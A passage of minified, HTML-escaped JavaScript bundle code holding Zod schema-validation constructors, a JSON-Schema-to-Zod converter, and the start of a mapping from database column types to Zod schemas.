Jk(e,t){return new Zk({type:&quot;intersection&quot;,left:e,right:t})}const Xk=at(&quot;ZodTuple&quot;,(e,t)=&gt;{sk.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;yte(e,r,n,i),e.rest=r=&gt;e.clone({...e._zod.def,rest:r})});function e_(e,t,r){const n=t instanceof Dn,i=n?r:t,s=n?t:null;return new Xk({type:&quot;tuple&quot;,items:e,rest:s,...Ut(i)})}const u2=at(&quot;ZodRecord&quot;,(e,t)=&gt;{DX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;bte(e,r,n,i),e.keyType=t.keyType,e.valueType=t.valueType});function _C(e,t,r){return new u2({type:&quot;record&quot;,keyType:e,valueType:t,...Ut(r)})}function Ure(e,t,r){const n=d0(e);return n._zod.values=void 0,new u2({type:&quot;record&quot;,keyType:n,valueType:t,...Ut(r)})}function zre(e,t,r){return new u2({type:&quot;record&quot;,keyType:e,valueType:t,mode:&quot;loose&quot;,...Ut(r)})}const t_=at(&quot;ZodMap&quot;,(e,t)=&gt;{TX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;pte(e,r),e.keyType=t.keyType,e.valueType=t.valueType});function $re(e,t,r){return new t_({type:&quot;map&quot;,keyType:e,valueType:t,...Ut(r)})}const r_=at(&quot;ZodSet&quot;,(e,t)=&gt;{RX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;gte(e,r),e.min=(...r)=&gt;e.check(T1(...r)),e.nonempty=r=&gt;e.check(T1(1,r)),e.max=(...r)=&gt;e.check(Xy(...r)),e.size=(...r)=&gt;e.check(YE(...r))});function Hre(e,t){return new r_({type:&quot;set&quot;,valueType:e,...Ut(t)})}const F1=at(&quot;ZodEnum&quot;,(e,t)=&gt;{PX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(n,i,s)=&gt;ste(e,n,i),e.enum=t.entries,e.options=Object.values(t.entries);const r=new Set(Object.keys(t.entries));e.extract=(n,i)=&gt;{const s={};for(const o of n)if(r.has(o))s[o]=t.entries[o];else throw new Error(`Key ${o} not found in enum`);return new F1({...t,checks:[],...Ut(i),entries:s})},e.exclude=(n,i)=&gt;{const s={...t.entries};for(const o of n)if(r.has(o))delete s[o];else throw new Error(`Key ${o} not found in enum`);return new F1({...t,checks:[],...Ut(i),entries:s})}});function Xl(e,t){const r=Array.isArray(e)?Object.fromEntries(e.map(n=&gt;[n,n])):e;return new F1({type:&quot;enum&quot;,entries:r,...Ut(t)})}function qre(e,t){return new F1({type:&quot;enum&quot;,entries:e,...Ut(t)})}const n_=at(&quot;ZodLiteral&quot;,(e,t)=&gt;{QX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;ote(e,r,n),e.values=new Set(t.values),Object.defineProperty(e,&quot;value&quot;,{get(){if(t.values.length&gt;1)throw new Error(&quot;This schema contains multiple valid literal values. Use `.values` instead.&quot;);return t.values[0]}})});function i_(e,t){return new n_({type:&quot;literal&quot;,values:Array.isArray(e)?e:[e],...Ut(t)})}const a_=at(&quot;ZodFile&quot;,(e,t)=&gt;{FX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;ute(e,r,n),e.min=(r,n)=&gt;e.check(T1(r,n)),e.max=(r,n)=&gt;e.check(Xy(r,n)),e.mime=(r,n)=&gt;e.check(nC(Array.isArray(r)?r:[r],n))});function Gre(e){return Lee(a_,e)}const s_=at(&quot;ZodTransform&quot;,(e,t)=&gt;{OX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;mte(e,r),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)throw new $E(e.constructor.name);r.addIssue=s=&gt;{if(typeof s==&quot;string&quot;)r.issues.push(k1(s,r.value,t));else{const o=s;o.fatal&amp;&amp;(o.continue=!1),o.code??(o.code=&quot;custom&quot;),o.input??(o.input=r.value),o.inst??(o.inst=e),r.issues.push(k1(o))}};const i=t.transform(r.value,r);return i instanceof Promise?i.then(s=&gt;(r.value=s,r)):(r.value=i,r)}});function DC(e){return new s_({type:&quot;transform&quot;,transform:e})}const TC=at(&quot;ZodOptional&quot;,(e,t)=&gt;{LX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;kte(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function Hv(e){return new TC({type:&quot;optional&quot;,innerType:e})}const o_=at(&quot;ZodNullable&quot;,(e,t)=&gt;{MX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;wte(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function qv(e){return new o_({type:&quot;nullable&quot;,innerType:e})}function Vre(e){return Hv(qv(e))}const l_=at(&quot;ZodDefault&quot;,(e,t)=&gt;{UX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Cte(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType,e.removeDefault=e.unwrap});function c_(e,t){return new l_({type:&quot;default&quot;,innerType:e,get defaultValue(){return typeof t==&quot;function&quot;?t():qE(t)}})}const u_=at(&quot;ZodPrefault&quot;,(e,t)=&gt;{zX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Ite(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function d_(e,t){return new u_({type:&quot;prefault&quot;,innerType:e,get defaultValue(){return typeof t==&quot;function&quot;?t():qE(t)}})}const RC=at(&quot;ZodNonOptional&quot;,(e,t)=&gt;{$X.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Ete(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function f_(e,t){return new RC({type:&quot;nonoptional&quot;,innerType:e,...Ut(t)})}const h_=at(&quot;ZodSuccess&quot;,(e,t)=&gt;{HX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;dte(e,r,n),e.unwrap=()=&gt;e._zod.def.innerType});function Wre(e){return new h_({type:&quot;success&quot;,innerType:e})}const m_=at(&quot;ZodCatch&quot;,(e,t)=&gt;{qX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;jte(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType,e.removeCatch=e.unwrap});function p_(e,t){return new m_({type:&quot;catch&quot;,innerType:e,catchValue:typeof t==&quot;function&quot;?t:()=&gt;t})}const g_=at(&quot;ZodNaN&quot;,(e,t)=&gt;{GX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;lte(e,r)});function Kre(e){return Fee(g_,e)}const PC=at(&quot;ZodPipe&quot;,(e,t)=&gt;{VX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Nte(e,r,n,i),e.in=t.in,e.out=t.out});function Gv(e,t){return new PC({type:&quot;pipe&quot;,in:e,out:t})}const QC=at(&quot;ZodCodec&quot;,(e,t)=&gt;{PC.init(e,t),ok.init(e,t)});function Yre(e,t,r){return new QC({type:&quot;pipe&quot;,in:e,out:t,transform:r.decode,reverseTransform:r.encode})}const A_=at(&quot;ZodReadonly&quot;,(e,t)=&gt;{WX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Ste(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function x_(e){return new A_({type:&quot;readonly&quot;,innerType:e})}const v_=at(&quot;ZodTemplateLiteral&quot;,(e,t)=&gt;{KX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;cte(e,r,n)});function Zre(e,t){return new v_({type:&quot;template_literal&quot;,parts:e,...Ut(t)})}const y_=at(&quot;ZodLazy&quot;,(e,t)=&gt;{JX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;_te(e,r,n,i),e.unwrap=()=&gt;e._zod.def.getter()});function b_(e){return new y_({type:&quot;lazy&quot;,getter:e})}const w_=at(&quot;ZodPromise&quot;,(e,t)=&gt;{ZX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;Bte(e,r,n,i),e.unwrap=()=&gt;e._zod.def.innerType});function Jre(e){return new w_({type:&quot;promise&quot;,innerType:e})}const E_=at(&quot;ZodFunction&quot;,(e,t)=&gt;{YX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;hte(e,r)});function n4(e){return new E_({type:&quot;function&quot;,input:Array.isArray(e?.input)?e_(e?.input):e?.input??tp(kg()),output:e?.output??kg()})}const d2=at(&quot;ZodCustom&quot;,(e,t)=&gt;{XX.init(e,t),Ln.init(e,t),e._zod.processJSONSchema=(r,n,i)=&gt;fte(e,r)});function Xre(e){const t=new Ja({check:&quot;custom&quot;});return t._zod.check=e,t}function C_(e,t){return Mee(d2,e??(()=&gt;!0),t)}function I_(e,t={}){return Uee(d2,e,t)}function j_(e){return zee(e)}const ene=Hee,tne=qee;function rne(e,t={error:`Input not instance of ${e.name}`}){const r=new d2({type:&quot;custom&quot;,check:&quot;custom&quot;,fn:n=&gt;n instanceof e,abort:!0,...Ut(t)});return r._zod.bag.Class=e,r}const nne=(...e)=&gt;Gee({Codec:QC,Boolean:s2,String:n2},...e);function ine(e){const t=b_(()=&gt;cx([Kl(e),xc(),jC(),SC(),tp(t),_C(Kl(),t)]));return t}function ane(e,t){return Gv(DC(e),t)}const hze=Object.freeze(Object.defineProperty({__proto__:null,ZodAny:$k,ZodArray:Vk,ZodBase64:wC,ZodBase64URL:EC,ZodBigInt:o2,ZodBigIntFormat:NC,ZodBoolean:s2,ZodCIDRv4:yC,ZodCIDRv6:bC,ZodCUID:hC,ZodCUID2:mC,ZodCatch:m_,ZodCodec:QC,ZodCustom:d2,ZodCustomStringFormat:lx,ZodDate:kC,ZodDefault:l_,ZodDiscriminatedUnion:Yk,ZodE164:CC,ZodEmail:uC,ZodEmoji:dC,ZodEnum:F1,ZodFile:a_,ZodFunction:E_,ZodGUID:zv,ZodIPv4:xC,ZodIPv6:vC,ZodIntersection:Zk,ZodJWT:IC,ZodKSUID:AC,ZodLazy:y_,ZodLiteral:n_,ZodMAC:Lk,ZodMap:t_,ZodNaN:g_,ZodNanoID:fC,ZodNever:qk,ZodNonOptional:RC,ZodNull:zk,ZodNullable:o_,ZodNumber:a2,ZodNumberFormat:Wg,ZodObject:l2,ZodOptional:TC,ZodPipe:PC,ZodPrefault:u_,ZodPromise:w_,ZodReadonly:A_,ZodRecord:u2,ZodSet:r_,ZodString:n2,ZodStringFormat:Aa,ZodSuccess:h_,ZodSymbol:Mk,ZodTemplateLiteral:v_,ZodTransform:s_,ZodTuple:Xk,ZodType:Ln,ZodULID:pC,ZodURL:i2,ZodUUID:zd,ZodUndefined:Uk,ZodUnion:c2,ZodUnknown:Hk,ZodVoid:Gk,ZodXID:gC,ZodXor:Kk,_ZodString:cC,_default:c_,_function:n4,any:$v,array:tp,base64:Are,base64url:xre,bigint:Bre,boolean:jC,catch:p_,check:Xre,cidrv4:pre,cidrv6:gre,codec:Yre,cuid:ore,cuid2:lre,custom:C_,date:Pre,describe:ene,discriminatedUnion:Mre,e164:vre,email:Zte,emoji:are,enum:Xl,file:Gre,float32:Ire,float64:jre,function:n4,guid:Jte,hash:Cre,hex:Ere,hostname:wre,httpUrl:ire,instanceof:rne,int:r4,int32:Nre,int64:kre,intersection:Jk,ipv4:fre,ipv6:mre,json:ine,jwt:yre,keyof:Qre,ksuid:dre,lazy:b_,literal:i_,looseObject:Ore,looseRecord:zre,mac:hre,map:$re,meta:tne,nan:Kre,nanoid:sre,nativeEnum:qre,never:BC,nonoptional:f_,null:SC,nullable:qv,nullish:Vre,number:xc,object:Wk,optional:Hv,partialRecord:Ure,pipe:Gv,prefault:d_,preprocess:ane,promise:Jre,readonly:x_,record:_C,refine:I_,set:Hre,strictObject:Fre,string:Kl,stringFormat:bre,stringbool:nne,success:Wre,superRefine:j_,symbol:Dre,templateLiteral:Zre,transform:DC,tuple:e_,uint32:Sre,uint64:_re,ulid:cre,undefined:Tre,union:cx,unknown:kg,url:nre,uuid:Xte,uuidv4:ere,uuidv6:tre,uuidv7:rre,void:Rre,xid:ure,xor:Lre},Symbol.toStringTag,{value:&quot;Module&quot;})),mze={invalid_type:&quot;invalid_type&quot;,too_big:&quot;too_big&quot;,too_small:&quot;too_small&quot;,invalid_format:&quot;invalid_format&quot;,not_multiple_of:&quot;not_multiple_of&quot;,unrecognized_keys:&quot;unrecognized_keys&quot;,invalid_union:&quot;invalid_union&quot;,invalid_key:&quot;invalid_key&quot;,invalid_element:&quot;invalid_element&quot;,invalid_value:&quot;invalid_value&quot;,custom:&quot;custom&quot;};function pze(e){_l({customError:e})}function gze(){return _l().customError}var x6;x6||(x6={});const Ir={...hze,...dze,iso:Fte};function Aze(e,t){const r=e.$schema;return r===&quot;https://json-schema.org/draft/2020-12/schema&quot;?&quot;draft-2020-12&quot;:r===&quot;http://json-schema.org/draft-07/schema#&quot;?&quot;draft-7&quot;:r===&quot;http://json-schema.org/draft-04/schema#&quot;?&quot;draft-4&quot;:t??&quot;draft-2020-12&quot;}function xze(e,t){if(!e.startsWith(&quot;#&quot;))throw new Error(&quot;External $ref is not supported, only local refs (#/...) are allowed&quot;);const r=e.slice(1).split(&quot;/&quot;).filter(Boolean);if(r.length===0)return t.rootSchema;const n=t.version===&quot;draft-2020-12&quot;?&quot;$defs&quot;:&quot;definitions&quot;;if(r[0]===n){const i=r[1];if(!i||!t.defs[i])throw new Error(`Reference not found: ${e}`);return t.defs[i]}throw new Error(`Reference not found: ${e}`)}function sne(e,t){if(e.not!==void 0){if(typeof e.not==&quot;object&quot;&amp;&amp;Object.keys(e.not).length===0)return Ir.never();throw new Error(&quot;not is not supported in Zod (except { not: {} } for never)&quot;)}if(e.unevaluatedItems!==void 0)throw new Error(&quot;unevaluatedItems is not supported&quot;);if(e.unevaluatedProperties!==void 0)throw new Error(&quot;unevaluatedProperties is not supported&quot;);if(e.if!==void 0||e.then!==void 0||e.else!==void 0)throw new Error(&quot;Conditional schemas (if/then/else) are not supported&quot;);if(e.dependentSchemas!==void 0||e.dependentRequired!==void 0)throw new Error(&quot;dependentSchemas and dependentRequired are not supported&quot;);if(e.$ref){const i=e.$ref;if(t.refs.has(i))return t.refs.get(i);if(t.processing.has(i))return Ir.lazy(()=&gt;{if(!t.refs.has(i))throw new Error(`Circular reference not resolved: ${i}`);return t.refs.get(i)});t.processing.add(i);const s=xze(i,t),o=El(s,t);return t.refs.set(i,o),t.processing.delete(i),o}if(e.enum!==void 0){const i=e.enum;if(t.version===&quot;openapi-3.0&quot;&amp;&amp;e.nullable===!0&amp;&amp;i.length===1&amp;&amp;i[0]===null)return Ir.null();if(i.length===0)return Ir.never();if(i.length===1)return Ir.literal(i[0]);if(i.every(o=&gt;typeof o==&quot;string&quot;))return Ir.enum(i);const s=i.map(o=&gt;Ir.literal(o));return s.length&lt;2?s[0]:Ir.union([s[0],s[1],...s.slice(2)])}if(e.const!==void 0)return Ir.literal(e.const);const r=e.type;if(Array.isArray(r)){const i=r.map(s=&gt;{const o={...e,type:s};return sne(o,t)});return i.length===0?Ir.never():i.length===1?i[0]:Ir.union(i)}if(!r)return Ir.any();let n;switch(r){case&quot;string&quot;:{let i=Ir.string();if(e.format){const s=e.format;s===&quot;email&quot;?i=i.check(Ir.email()):s===&quot;uri&quot;||s===&quot;uri-reference&quot;?i=i.check(Ir.url()):s===&quot;uuid&quot;||s===&quot;guid&quot;?i=i.check(Ir.uuid()):s===&quot;date-time&quot;?i=i.check(Ir.iso.datetime()):s===&quot;date&quot;?i=i.check(Ir.iso.date()):s===&quot;time&quot;?i=i.check(Ir.iso.time()):s===&quot;duration&quot;?i=i.check(Ir.iso.duration()):s===&quot;ipv4&quot;?i=i.check(Ir.ipv4()):s===&quot;ipv6&quot;?i=i.check(Ir.ipv6()):s===&quot;mac&quot;?i=i.check(Ir.mac()):s===&quot;cidr&quot;?i=i.check(Ir.cidrv4()):s===&quot;cidr-v6&quot;?i=i.check(Ir.cidrv6()):s===&quot;base64&quot;?i=i.check(Ir.base64()):s===&quot;base64url&quot;?i=i.check(Ir.base64url()):s===&quot;e164&quot;?i=i.check(Ir.e164()):s===&quot;jwt&quot;?i=i.check(Ir.jwt()):s===&quot;emoji&quot;?i=i.check(Ir.emoji()):s===&quot;nanoid&quot;?i=i.check(Ir.nanoid()):s===&quot;cuid&quot;?i=i.check(Ir.cuid()):s===&quot;cuid2&quot;?i=i.check(Ir.cuid2()):s===&quot;ulid&quot;?i=i.check(Ir.ulid()):s===&quot;xid&quot;?i=i.check(Ir.xid()):s===&quot;ksuid&quot;&amp;&amp;(i=i.check(Ir.ksuid()))}typeof e.minLength==&quot;number&quot;&amp;&amp;(i=i.min(e.minLength)),typeof e.maxLength==&quot;number&quot;&amp;&amp;(i=i.max(e.maxLength)),e.pattern&amp;&amp;(i=i.regex(new RegExp(e.pattern))),n=i;break}case&quot;number&quot;:case&quot;integer&quot;:{let i=r===&quot;integer&quot;?Ir.number().int():Ir.number();typeof e.minimum==&quot;number&quot;&amp;&amp;(i=i.min(e.minimum)),typeof e.maximum==&quot;number&quot;&amp;&amp;(i=i.max(e.maximum)),typeof e.exclusiveMinimum==&quot;number&quot;?i=i.gt(e.exclusiveMinimum):e.exclusiveMinimum===!0&amp;&amp;typeof e.minimum==&quot;number&quot;&amp;&amp;(i=i.gt(e.minimum)),typeof e.exclusiveMaximum==&quot;number&quot;?i=i.lt(e.exclusiveMaximum):e.exclusiveMaximum===!0&amp;&amp;typeof e.maximum==&quot;number&quot;&amp;&amp;(i=i.lt(e.maximum)),typeof e.multipleOf==&quot;number&quot;&amp;&amp;(i=i.multipleOf(e.multipleOf)),n=i;break}case&quot;boolean&quot;:{n=Ir.boolean();break}case&quot;null&quot;:{n=Ir.null();break}case&quot;object&quot;:{const i={},s=e.properties||{},o=new Set(e.required||[]);for(const[c,d]of Object.entries(s)){const u=El(d,t);i[c]=o.has(c)?u:u.optional()}if(e.propertyNames){const c=El(e.propertyNames,t),d=e.additionalProperties&amp;&amp;typeof e.additionalProperties==&quot;object&quot;?El(e.additionalProperties,t):Ir.any();if(Object.keys(i).length===0){n=Ir.record(c,d);break}const u=Ir.object(i).passthrough(),h=Ir.looseRecord(c,d);n=Ir.intersection(u,h);break}if(e.patternProperties){const c=e.patternProperties,d=Object.keys(c),u=[];for(const p of d){const A=El(c[p],t),y=Ir.string().regex(new RegExp(p));u.push(Ir.looseRecord(y,A))}const h=[];if(Object.keys(i).length&gt;0&amp;&amp;h.push(Ir.object(i).passthrough()),h.push(...u),h.length===0)n=Ir.object({}).passthrough();else if(h.length===1)n=h[0];else{let p=Ir.intersection(h[0],h[1]);for(let A=2;A&lt;h.length;A++)p=Ir.intersection(p,h[A]);n=p}break}const l=Ir.object(i);e.additionalProperties===!1?n=l.strict():typeof e.additionalProperties==&quot;object&quot;?n=l.catchall(El(e.additionalProperties,t)):n=l.passthrough();break}case&quot;array&quot;:{const i=e.prefixItems,s=e.items;if(i&amp;&amp;Array.isArray(i)){const o=i.map(c=&gt;El(c,t)),l=s&amp;&amp;typeof s==&quot;object&quot;&amp;&amp;!Array.isArray(s)?El(s,t):void 0;l?n=Ir.tuple(o).rest(l):n=Ir.tuple(o),typeof e.minItems==&quot;number&quot;&amp;&amp;(n=n.check(Ir.minLength(e.minItems))),typeof e.maxItems==&quot;number&quot;&amp;&amp;(n=n.check(Ir.maxLength(e.maxItems)))}else if(Array.isArray(s)){const o=s.map(c=&gt;El(c,t)),l=e.additionalItems&amp;&amp;typeof e.additionalItems==&quot;object&quot;?El(e.additionalItems,t):void 0;l?n=Ir.tuple(o).rest(l):n=Ir.tuple(o),typeof e.minItems==&quot;number&quot;&amp;&amp;(n=n.check(Ir.minLength(e.minItems))),typeof e.maxItems==&quot;number&quot;&amp;&amp;(n=n.check(Ir.maxLength(e.maxItems)))}else if(s!==void 0){const o=El(s,t);let l=Ir.array(o);typeof e.minItems==&quot;number&quot;&amp;&amp;(l=l.min(e.minItems)),typeof e.maxItems==&quot;number&quot;&amp;&amp;(l=l.max(e.maxItems)),n=l}else n=Ir.array(Ir.any());break}default:throw new Error(`Unsupported type: ${r}`)}return e.description&amp;&amp;(n=n.describe(e.description)),e.default!==void 0&amp;&amp;(n=n.default(e.default)),n}function El(e,t){if(typeof e==&quot;boolean&quot;)return e?Ir.any():Ir.never();let r=sne(e,t);const n=e.type||e.enum!==void 0||e.const!==void 0;if(e.anyOf&amp;&amp;Array.isArray(e.anyOf)){const i=e.anyOf.map(o=&gt;El(o,t)),s=Ir.union(i);r=n?Ir.intersection(r,s):s}if(e.oneOf&amp;&amp;Array.isArray(e.oneOf)){const i=e.oneOf.map(o=&gt;El(o,t)),s=Ir.xor(i);r=n?Ir.intersection(r,s):s}if(e.allOf&amp;&amp;Array.isArray(e.allOf))if(e.allOf.length===0)r=n?r:Ir.any();else{let i=n?r:El(e.allOf[0],t);const s=n?0:1;for(let o=s;o&lt;e.allOf.length;o++)i=Ir.intersection(i,El(e.allOf[o],t));r=i}return e.nullable===!0&amp;&amp;t.version===&quot;openapi-3.0&quot;&amp;&amp;(r=Ir.nullable(r)),e.readOnly===!0&amp;&amp;(r=Ir.readonly(r)),r}function vze(e,t){if(typeof e==&quot;boolean&quot;)return e?Ir.any():Ir.never();const r=Aze(e,t?.defaultTarget),n=e.$defs||e.definitions||{};return El(e,{version:r,defs:n,refs:new Map,processing:new Set,rootSchema:e})}function yze(e){return lee(n2,e)}function bze(e){return gee(a2,e)}function wze(e){return Eee(s2,e)}function Eze(e){return Iee(o2,e)}function sl(e){return Qee(kC,e)}const Cze=Object.freeze(Object.defineProperty({__proto__:null,bigint:Eze,boolean:wze,date:sl,number:bze,string:yze},Symbol.toStringTag,{value:&quot;Module&quot;}));_l(eee());const Ize=Object.freeze(Object.defineProperty({__proto__:null,$brand:pZ,$input:aee,$output:iee,NEVER:mZ,TimePrecision:uee,ZodAny:$k,ZodArray:Vk,ZodBase64:wC,ZodBase64URL:EC,ZodBigInt:o2,ZodBigIntFormat:NC,ZodBoolean:s2,ZodCIDRv4:yC,ZodCIDRv6:bC,ZodCUID:hC,ZodCUID2:mC,ZodCatch:m_,ZodCodec:QC,ZodCustom:d2,ZodCustomStringFormat:lx,ZodDate:kC,ZodDefault:l_,ZodDiscriminatedUnion:Yk,ZodE164:CC,ZodEmail:uC,ZodEmoji:dC,ZodEnum:F1,ZodError:fze,ZodFile:a_,get ZodFirstPartyTypeKind(){return x6},ZodFunction:E_,ZodGUID:zv,ZodIPv4:xC,ZodIPv6:vC,ZodISODate:Qk,ZodISODateTime:Pk,ZodISODuration:Ok,ZodISOTime:Fk,ZodIntersection:Zk,ZodIssueCode:mze,ZodJWT:IC,ZodKSUID:AC,ZodLazy:y_,ZodLiteral:n_,ZodMAC:Lk,ZodMap:t_,ZodNaN:g_,ZodNanoID:fC,ZodNever:qk,ZodNonOptional:RC,ZodNull:zk,ZodNullable:o_,ZodNumber:a2,ZodNumberFormat:Wg,ZodObject:l2,ZodOptional:TC,ZodPipe:PC,ZodPrefault:u_,ZodPromise:w_,ZodReadonly:A_,ZodRealError:gu,ZodRecord:u2,ZodSet:r_,ZodString:n2,ZodStringFormat:Aa,ZodSuccess:h_,ZodSymbol:Mk,ZodTemplateLiteral:v_,ZodTransform:s_,ZodTuple:Xk,ZodType:Ln,ZodULID:pC,ZodURL:i2,ZodUUID:zd,ZodUndefined:Uk,ZodUnion:c2,ZodUnknown:Hk,ZodVoid:Gk,ZodXID:gC,ZodXor:Kk,_ZodString:cC,_default:c_,_function:n4,any:$v,array:tp,base64:Are,base64url:xre,bigint:Bre,boolean:jC,catch:p_,check:Xre,cidrv4:pre,cidrv6:gre,clone:d0,codec:Yre,coerce:Cze,config:_l,core:uze,cuid:ore,cuid2:lre,custom:C_,date:Pre,decode:Hte,decodeAsync:Gte,describe:ene,discriminatedUnion:Mre,e164:vre,email:Zte,emoji:are,encode:$te,encodeAsync:qte,endsWith:rC,enum:Xl,file:Gre,flattenError:z8,float32:Ire,float64:jre,formatError:$8,fromJSONSchema:vze,function:n4,getErrorMap:gze,globalRegistry:Q0,gt:Um,gte:Ac,guid:Jte,hash:Cre,hex:Ere,hostname:wre,httpUrl:ire,includes:eC,instanceof:rne,int:r4,int32:Nre,int64:kre,intersection:Jk,ipv4:fre,ipv6:mre,iso:Fte,json:ine,jwt:yre,keyof:Qre,ksuid:dre,lazy:b_,length:t2,literal:i_,locales:nee,looseObject:Ore,looseRecord:zre,lowercase:JE,lt:Mm,lte:i0,mac:hre,map:$re,maxLength:e2,maxSize:Xy,meta:tne,mime:nC,minLength:Bg,minSize:T1,multipleOf:D1,nan:Kre,nanoid:sre,nativeEnum:qre,negative:kk,never:BC,nonnegative:Dk,nonoptional:f_,nonpositive:_k,normalize:iC,null:SC,nullable:qv,nullish:Vre,number:xc,object:Wk,optional:Hv,overwrite:dh,parse:Lte,parseAsync:Mte,partialRecord:Ure,pipe:Gv,positive:Bk,prefault:d_,preprocess:ane,prettifyError:QZ,promise:Jre,property:Tk,readonly:x_,record:_C,refine:I_,regex:ZE,regexes:X8,registry:lk,safeDecode:Wte,safeDecodeAsync:Yte,safeEncode:Vte,safeEncodeAsync:Kte,safeParse:Ute,safeParseAsync:zte,set:Hre,setErrorMap:pze,size:YE,slugify:lC,startsWith:tC,strictObject:Fre,string:Kl,stringFormat:bre,stringbool:nne,success:Wre,superRefine:j_,symbol:Dre,templateLiteral:Zre,toJSONSchema:Dte,toLowerCase:sC,toUpperCase:oC,transform:DC,treeifyError:RZ,trim:aC,tuple:e_,uint32:Sre,uint64:_re,ulid:cre,undefined:Tre,union:cx,unknown:kg,uppercase:XE,url:nre,util:DZ,uuid:Xte,uuidv4:ere,uuidv6:tre,uuidv7:rre,void:Rre,xid:ure,xor:Lre},Symbol.toStringTag,{value:&quot;Module&quot;})),us={INT8_MIN:-128,INT8_MAX:127,INT8_UNSIGNED_MAX:255,INT16_MIN:-32768,INT16_MAX:32767,INT16_UNSIGNED_MAX:65535,INT24_MIN:-8388608,INT24_MAX:8388607,INT24_UNSIGNED_MAX:16777215,INT32_MIN:-2147483648,INT32_MAX:2147483647,INT32_UNSIGNED_MAX:4294967295,INT48_MIN:-0x800000000000,INT48_MAX:0x7fffffffffff,INT48_UNSIGNED_MAX:0xffffffffffff,INT64_MIN:-9223372036854775808n,INT64_MAX:9223372036854775807n,INT64_UNSIGNED_MAX:18446744073709551615n};function Us(e,t){return t.includes(e.columnType)}function jze(e){return&quot;enumValues&quot;in e&amp;&amp;Array.isArray(e.enumValues)&amp;&amp;e.enumValues.length&gt;0}const Nze=cx([Kl(),xc(),jC(),SC()]),Sze=cx([Nze,_C(Kl(),$v()),tp($v())]),Bze=C_(e=&gt;e instanceof Buffer);function one(e,t){const r=Ize,n={};let i;return jze(e)&amp;&amp;(i=e.enumValues.length?r.enum(e.enumValues):r.string()),i||(Us(e,[&quot;PgGeometry&quot;,&quot;PgPointTuple&quot;])?i=r.tuple([r.number(),r.number()]):Us(e,[&quot;PgGeometryObject&quot;,&quot;PgPointObject&quot;])?i=r.object({x:r.number(),y:r.number()}):Us(e,[&quot;PgHalfVector&quot;,&quot;PgVector&quot;])?(i=r.array(r.number()),i=e.dimensions?i.length(e.dimensions):i):Us(e,[&quot;PgLine&quot;])?i=r.tuple([r.number(),r.number(),r.number()]):Us(e,[&quot;PgLineABC&quot;])?i=r.object({a:r.number(),b:r.number(),c:r.number()}):Us(e,[&quot;PgArray&quot;])?(i=r.array(one(e.baseColumn)),i=e.size?i.length(e.size):i):e.dataType===&quot;array&quot;?i=r.array(r.any()):e.dataType===&quot;number&quot;?i=kze(e,r,n):e.dataType===&quot;bigint&quot;?i=_ze(e,r,n):e.dataType===&quot;boolean&quot;?i=n===!0||n.boolean?r.coerce.boolean():r.boolean():e.dataType===&quot;date&quot;?i=n===!0||n.date?r.coerce.date():r.date():e.dataType===&quot;string&quot;?i=Dze(e,r,n):e.dataType===&quot;json&quot;?i=Sze:e.dataType===&quot;custom&quot;?i=r.any():e.dataType===&quot;buffer&quot;&amp;&amp;(i=Bze)),i||(i=r.any()),i}function kze(e,t,r){let n=e.getSQLType().includes(&quot;unsigned&quot;),i,s,o=!1;Us(e,[&quot;MySqlTinyInt&quot;,&quot;SingleStoreTinyInt&quot;])?(i=n?0:us.INT8_MIN,s=n?us.INT8_UNSIGNED_MAX:us.INT8_MAX,o=!0):Us(e,[&quot;PgSmallInt&quot;,&quot;PgSmallSerial&quot;,&quot;MySqlSmallInt&quot;,&quot;SingleStoreSmallInt&quot;])?(i=n?0:us.INT16_MIN,s=n?us.INT16_UNSIGNED_MAX:us.INT16_MAX,o=!0):Us(e,[&quot;PgReal&quot;,&quot;MySqlFloat&quot;,&quot;MySqlMediumInt&quot;,&quot;SingleStoreMediumInt&quot;,&quot;SingleStoreFloat&quot;])?(i=n?0:us.INT24_MIN,s=n?us.INT24_UNSIGNED_MAX:us.INT24_MAX,o=Us(e,[&quot;MySqlMediumInt&quot;,&quot;SingleStoreMediumInt&quot;])):Us(e,[&quot;PgInteger&quot;,&quot;PgSerial&quot;,&quot;MySqlInt&quot;,&quot;SingleStoreInt&quot;])?(i=n?0:us.INT32_MIN,s=n?us.INT32_UNSIGNED_MAX:us.INT32_MAX,o=!0):Us(e,[&quot;PgDoublePrecision&quot;,&quot;MySqlReal&quot;,&quot;MySqlDouble&quot;,&quot;SingleStoreReal&quot;,&quot;SingleStoreDouble&quot;,&quot;SQLiteReal&quot;])?(i=n?0:us.INT48_MIN